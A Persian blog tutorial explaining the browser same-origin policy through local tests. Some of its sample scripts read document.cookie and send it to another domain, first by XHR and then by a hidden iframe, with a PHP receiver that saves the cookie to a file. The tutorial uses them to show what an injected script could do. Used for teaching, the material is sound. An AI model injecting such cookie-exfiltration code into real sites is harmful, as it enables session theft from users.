Same origin policy – سیاست امنیتی منشاء مشترک در مرورگرها

Same origin policy یکی از مهترین اصول امنیتی در مرورگرهاست.
این سیاست امنیتی به زبانهای اسکریپتی سمت کلاینت (همچون جاوااسکریپت) اجازهء دسترسی به محتوای صفحات دیگری که در دامین های دیگری قرار دارند را نمیدهد.
برای اینکه یک اسکریپت بتواند به محتوای صفحات دیگر دسترسی داشته باشد، باید پروتکل، نام دامین، و پورت صفحه ای که اسکریپت در آن قرار دارد با پروتکل، دامین، و پورت صفحهء مورد دسترسی (صفحهء هدف) یکسان باشد.

بطور مثال فرض کنید کدهای جاوااسکریپت در صفحهء http://www.example.com/dir/page.html قرار دارند.

نکته: پورت وب پیشفرض 80 است.

- این کدها میتوانند به محتویات صفحهء http://www.example.com/dir2/other.html دسترسی داشته باشند (اعم از کوکی ها، محتویات HTML، و توابع و متغییرهای جاوااسکریپت موجود در آن صفحه).
- اما امکان دسترسی به محتویات http://www.example.com:81/dir/other.html وجود ندارد (چرا که شمارهء پورت متفاوتی دارد).
- امکان دسترسی به https://www.example.com/dir/other.html نیز وجود ندارد (پروتکل متفاوت (https)).
- امکان دسترسی به http://en.example.com/dir/other.html وجود ندارد (دامین متفاوت).
- حتی امکان دسترسی به http://example.com/dir/other.html نیز وجود ندارد (دامین باید دقیقا یکسان باشد).
- امکان دسترسی به http://v2.www.example.com/dir/other.html نیز وجود ندارد (دامین متفاوت).
- امکان دسترسی به http://barnamenevis.org/forumdisplay.php?30-PHP نیز وجود ندارد (دامین متفاوت).

البته برای این محدودیت استثناء هایی نیز وجود دارند که بعدا اگر فرصت شد توضیح میدهم.
همچنین بعلت نیاز مشروع در بعضی موارد برای انتقال اطلاعات بین صفحاتی که تحت این محدودیت قرار میگیرند، روشهای استاندارد و غیراستانداردی برای دور زدن یا مستثنی شدن از این محدودیت بوجود آمده اند که آنها را هم اگر فرصت شد بیان میکنیم.
فعلا هدف اصلی آشنا کردن با این مفهوم امنیتی و طرز کار آن است و نه بیان کاربردهای خاص و روشهای خارج شدن از شمول آن.
راستی نباید فراموش کرد که در نسخه های مختلفی از مرورگرهای مختلف باگهایی وجود داشته است (و احتمالا دارد) که امکان دور زدن این محدودیت را با کدها/روشها یا تحت شرایط خاصی به هکرها میدهند. بنابراین در موارد حساسی مثل احراز هویت نباید فقط بر روی این ویژگی اتکا شود و از تمهیدات و روشهای مکمل (مانند HttpOnly کردن کوکی ها) نیز استفاده گردد.
در پست های بعدی با یکسری تست/کد این مکانیزم امنیتی و یک روش مستثنی شدن از آن را (که میتواند در حمله ها هم استفاده شود) نشان خواهیم داد.

================================

محیط تستها:
Windows XP SP3
FF v14
IE v8
PHP v5.3.9

ابتدا برای تست، دو دامین اضافی در لوکال خود ایجاد میکنیم.
این کار در ویندوز با ویرایش فایلی بنام hosts که در ویندوز XP در آدرس زیر قرار دارد انجام میشود:
C:WINDOWSsystem32driversetc
در انتهای فایل hosts خود این دستورات را اضافه کنید:

127.0.0.1 domain2
127.0.0.1 domain3

این دستورات باعث میشوند که domain2 و domain3 نیز معنای localhost را داشته باشند. یعنی بجای وارد کردن کلمهء localhost در نوار آدرس مرورگر، میتوان از کلمات domain2 و domain3 نیز استفاده کرد.
نکته: در لینوکس نیز فایل hosts وجود دارد.

کد زیر را در فایل test.php ذخیره کنید:

<html>
<body>
<iframe src="http://localhost/t2.php" name="frm"></iframe>
<button onclick="frm.f()">execute function</button>
<button onclick="alert(frm.document.cookie)">read cookie</button>
</body>
</html>

کد زیر را در فایل t2.php ذخیره کنید:

<?php
setcookie('testCookie', '12345', 0, '/', null, false, false);
?>
<script>
function f() {
alert('function executed.');
}
</script>
<button onclick="f()">execute function</button>
<button onclick="alert(document.cookie)">read cookie</button>

سپس test.php را در مرورگر خود باز کنید (http://localhost/test.php).
در صفحهء باز شده چهار دکمه مشاهده میکنید، دو عدد در داخل صفحهء t2.php که در فریم داخلی (تگ iframe) لود شده است و دو عدد دیگر از همان دکمه ها در صفحهء اصلی/مادر که در صفحهء اصلی مرورگر لود شده است.
با کلیک کردن روی دکمه ها مشاهده میکنید که چه از داخل صفحهء t2.php و چه از خارج از آن از طریق صفحهء دیگر (test.php) قادر به دسترسی به کوکی یا اجرای تابع موجود در صفحهء t2.php هستیم، چراکه هر دوی این صفحات دارای پروتکل، نام دامین، و پورت یکسانی هستند.

================================

خب حال کد test.php را بدین صورت تغییر دهید:

<html>
<body>
<iframe src="http://domain2/t2.php" name="frm"></iframe>
<button onclick="frm.f()">execute function</button>
<button onclick="alert(frm.document.cookie)">read cookie</button>
</body>
</html>

مشاهده میکنید که تنها تغییر انجام شده، تغییر دامین آدرس صفحه ای است که در فریم داخلی لود میشود.
بار دیگر test.php را با زدن دکمه F5 در مرورگر رفرش کنید.
حال مشاهده خواهید کرد که دکمه های خارج از فریم داخلی کار نمیکنند.
در مرورگر فایرفاکس میتوانید با باز کردن ابزار Error Console (در منوی Tools دنبالش بگردید)، پیام خطای جاوااسکریپت مربوطه را مشاهده کنید:
Timestamp: 1/24/2013 9:20:03 PM
Error: Error: Permission denied to access property ‘f’
Source File: http://localhost/test.php
Line: 1

Timestamp: 1/24/2013 9:20:10 PM
Error: Error: Permission denied to access property ‘document’
Source File: http://localhost/test.php
Line: 1
طبیعتا علت این مسئله روشن است: کدهای جاوااسکریپت صفحهء اصلی تلاش کرده اند تا به محتوای صفحه ای که از دامین متفاوتی لود شده است دسترسی پیدا کنند.

================================

یکی از مواردی که از محدودیت های Same origin policy مستثنی است، تگهای اسکریپت دارای src میباشند.
هنگامی که شما یک اسکریپت را که در دامین دیگری قرار دارد داخل کد HTML خود قرار میدهید، کدهای آن اسکریپت قادر به دسترسی به محتویات صفحهء شما هستند، باوجود اینکه آن کدها از دامین دیگری لود شده اند.
بطور مثال:

<script src="http://domain2/test.js"></script>

مسلم است که برای این امر، باید شما خودتان اسکریپتی را از سایت دیگری در سورس صفحهء خودتان قرار داده باشید؛ مگر اینکه مثلا با سوء استفاده از یک باگ XSS، این کار بدست یک نفوذگر انجام شده باشد. خب با توجه به این مسئله، روشن میشود که هرگز نباید از سایتهای غیرقابل اطمینان اسکریپتی را در صفحات خود وارد کرد. چون این سایتها میتوانند از این طریق اطلاعات امنیتی مربوط به کاربران شما را سرقت کرده یا دست به فریب و کلاهبرداری بزنند (مثلا با تغییر محتویات صفحه). البته این خصوصیت و روش، کاربردهای مفید و مشروع نیز دارد (بطور مثال شاید اسم JSONP به گوشتان خورده باشد. JSONP از همین خاصیت تگهای اسکریپت استفاده میکند).

مثال:test.php

<?php

header('Content-Type: text/html; charset=utf-8');
header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");
header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
header("Cache-Control: private, no-store, no-cache, must-revalidate, post-check=0, pre-check=0, max-age=0");
header('Pragma: private');
header("Pragma: no-cache");

setcookie('testCookie', '12345', 0, '/', null, false, false);

?>
<html>
<head>
<script src="http://domain2/test.js"></script>
</head>
<body>
</body>
</html>

test.js

alert(document.cookie);

var xhr=null;

function create_xhr() {
var xhr;
if(window.XMLHttpRequest) xhr = new XMLHttpRequest();
else if (window.ActiveXObject) xhr = new ActiveXObject("Microsoft.XMLHTTP");

return xhr;
}

if(!xhr) xhr=create_xhr();

xhr.open('GET', 'http://domain2/ajax.php?cookie='+encodeURIComponent(document.cookie), true);

xhr.onreadystatechange=function() {
if(xhr.readyState == 4) if(xhr.status == 200) {
alert(xhr.responseText);
} else alert('Error ('+xhr.status+'): '+xhr.responseText);
}

xhr.send(null);

ajax.php

<?php
file_put_contents('out.txt', $_GET['cookie']);
echo 'ajax ok.';
?>

test.php را در مرورگر خود باز کنید (http://localhost/test.php).
مشاهده میشود که اسکریپت لود شده از domain2 محتویات کوکی صفحهء شما را خوانده و آنرا alert میکند.
این اسکریپت سپس تلاش میکند تا یک درخواست AJAX همراه با اطلاعات کوکی شما بعنوان پارامتر، به دامین خودش ارسال کند.
البته در این بخش رفتار IE 8 و FF با هم تفاوت میکند؛ ظاهرا و طبق تحقیقاتی که کردم، به این علت که FF از استاندارد جدیدتری از ایجکس پیروی میکند.
در FF این درخواست به دامین خارجی عملا ارسال میشود، ولی پاسخ درخواست AJAX توسط اسکریپت قابل خوانده شدن نیست (به دلیل تمهیدات امنیتی).
بعد از اجرا با FF شما مشاهده میکنید که یک فایل بنام out.txt در دایرکتوری وب ایجاد شده است که محتویات کوکی شما در آن قرار دارد. این نشان میدهد که درخواست AJAX به سرور مورد نظر (واقع در domain2) رسیده است. اما مشاهده میکنید که اسکریپت قادر به خواندن پاسخ درخواست ایجکس نبوده و پیام خطا میدهد همراه با پاسخ خالی (و کد وضعیت 0).
در مرورگر IE8 اصولا اجازهء ارسال درخواست ایجکس به دامین دیگری داده نمیشود و با یک خطای جاوااسکریپت مواجه میشوید. دقت کنید که فایل out.txt در تست با مرورگر IE ایجاد نمیشود.

شاید این سوال برای شما پیش بیاید که چرا FF اجازهء ارسال درخواست ایجکس به دامین دیگری را میدهد که مثلا بدین طریق یک هکر که با استفاده از باگ XSS تگ اسکریپت خودش را در سایتی درج کرده است قادر به دریافت اطلاعات سمت کلاینت صفحات سایت قربانی باشد. آیا این یک باگ است؟ آیا یک ضعف سیاست امنیتی است؟
البته بنده هم در ابتدا همینطور گیج شدم و این فکرها را کردم، اما با تحقیق خیلی زود علت قضیه را متوجه شدم.
علت این است که در استاندارد جدیدتر XMLHttpRequest، اجازهء ارسال این درخواستها داده میشود.
اما چرا؟
به این علت که بهرصورت حتی اگر هکر قادر به ارسال درخواستهای ایجکس نباشد، با روشهای دیگری به سادگی میتواند این کار را انجام دهد. بطور مثال کد جاوااسکریپت میتواند بصورت دینامیک یک تگ iframe یا تگ img در کد HTML صفحه اضافه کرده و سپس با استفاده از ست کردن src آن، اطلاعات مورد نظر را به هر دامین دلخواه ارسال کند. در مثالهای بعدی چنین روشی را که در مرورگر IE8 هم کار میکند و محدودیت ایجکس آن را به این طریق دور میزند نشان میدهیم.

================================

این هم مثال دور زدن محدودیت درخواست ایجکس در مرورگر IE8.
البته این روش در فایرفاکس هم کار میکند و وابسته به مرورگر خاصی نیست.test.php

<?php

header('Content-Type: text/html; charset=utf-8');
header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");
header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
header("Cache-Control: private, no-store, no-cache, must-revalidate, post-check=0, pre-check=0, max-age=0");
header('Pragma: private');
header("Pragma: no-cache");

setcookie('testCookie', '12345', 0, '/', null, false, false);

?>
<html>
<head>
</head>
<body>
<script src="http://domain2/test.js"></script>
</body>
</html>

test.js

alert(document.cookie);

ifrm = document.createElement("IFRAME");
ifrm.setAttribute("src", 'http://domain3/ajax.php?cookie='+encodeURIComponent(document.cookie));
ifrm.style.display='none';
document.body.appendChild(ifrm);

ajax.php

<?php
file_put_contents('out', $_GET['cookie']);
echo 'ok';
?>

برای توضیحات روش تست به توضیحات پست قبلی مراجعه کنید.
در این روش ما توسط جاوااسکریپت یک فریم داخلی (iframe) پنهان ایجاد کرده، src آنرا برابر سایتی که میخواهیم درخواست را به آن ارسال کنیم + کوکی کلاینت بعنوان پارامتر قرار داده، با ست کردن style.display=’none’‎ آنرا پنهان کرده (عدم نمایش در صفحه)، سپس آنرا به کد HTML صفحه اضافه میکنیم.با اضافه شدن این تگ iframe به صفحه، مرورگر برای دریافت محتویات آن اقدام به ارسال درخواستی به آدرس مشخص شده در src تگ میکند، که در نتیجه اطلاعات مورد نظر ما در قالب پارامتر URL به آن آدرس ارسال میشوند.

================================

این مطالب بیشتر برای فهم این اصل امنیتی بود.
از این نظر مطالب از نظر پایه ای فکر میکنم کفایت میکنه.
ولی چند ترفند قدیمی و استانداردهای جدید در ارتباط با Same origin policy وجود دارن که تنها فهرست وار ذکر میکنم. میتونم توضیح بدم ولی فعلا اونا رو دارای بازدهی و فایدهء کاربردی کافی نمیبینم؛ مثلا بعضی ها از نظر ساپورت هنوز اونقدری بی نقص نیستن که بشه با خیال راحت ازشون استفاده کرد و مثلا یک درصد خیلی کمی باشه اونایی که ساپورت نمیکنن و بیخیال اون درصد از کاربران بشیم؛ بازم اینجا نسخه های حتی نه چندان قدیمی مرورگر IE (مثل نسخه های 7 و 8) دردسر سازه!
بعدم بنظرم استفاده از این روشها میتونه براحتی حفره های امنیتی گنده ای ایجاد کنه و برای استفاده از اونا باید به امنیت و این مفاهیم مسلط بود و دقیقا بدونیم که داریم چکار میکنیم (در مواردی ممکنه نیاز به مکانیزمهای مکمل برای جلوگیری از سوء استفاده باشه).
بعد یخورده هم پیچ در پیچ میشه دیگه!!
بخاطر همین فقط بهشون اشاره میکنم و اگر کسی علاقمند بود یا نیاز داشت میتونه خودش بره تحقیق بیشتری بکنه. البته اگر در این ارتباط سوالی داشت میتونه همینجا مطرح کنه.

روشهای دیگری که ازشون برای از بین بردن یا کمتر کردن محدودیتهای Same origin policy استفاده میشه:

- ست کردن document.domain به یک مقدار یکسان توسط صفحاتی که میخوان با هم ارتباط برقرار کنن (قاعدتا باید فقط برای ارتباط در سمت کلاینت توسط جاوااسکریپت باشه).

- Cross-Origin Resource Sharing
توضیح اینکه در این روش یک هدر خاص توسط سرور باید ارسال بشه که به مرورگر اجازه میده محتوای Response رو در اختیار صفحهء متقاضی از دامین دیگر بگذاره. در مثالهای مشاهده کردید که در استاندارد جدید ایجکس یا با استفاده از ترفندهایی مثل iframe ما میتونیم درخواست و اطلاعاتی رو به دامین دیگری ارسال کنیم، اما نمیتونیم محتویات Response برگشت داده شده رو در سمت کلاینت توسط جاوااسکریپت بخونیم.

- Cross-document messaging
این استاندارد هم یک API سمت کلاینت جهت برقرار کردن ارتباط (دارای ریسک امنیتی کمتر از ترفندهای قدیمی) بین صفحاتی از دامین های مختلف است. این ارتباط در سمت کلاینت و توسط جاوااسکریپت انجام میشه.

ترفندهای قدیمی برای انتقال اطلاعات بین صفحاتی از دامین های مختلف در سمت کلاینت:

- انتقال اطلاعات از طریق fragment identifier

- انتقال اطلاعات از طریق window.name

——————————————————-

راستی به JSONP هم که قبلا اشاره کرده بودم.

 

پاسخ دهید

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *

*

شما می‌توانید از این دستورات HTML استفاده کنید: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>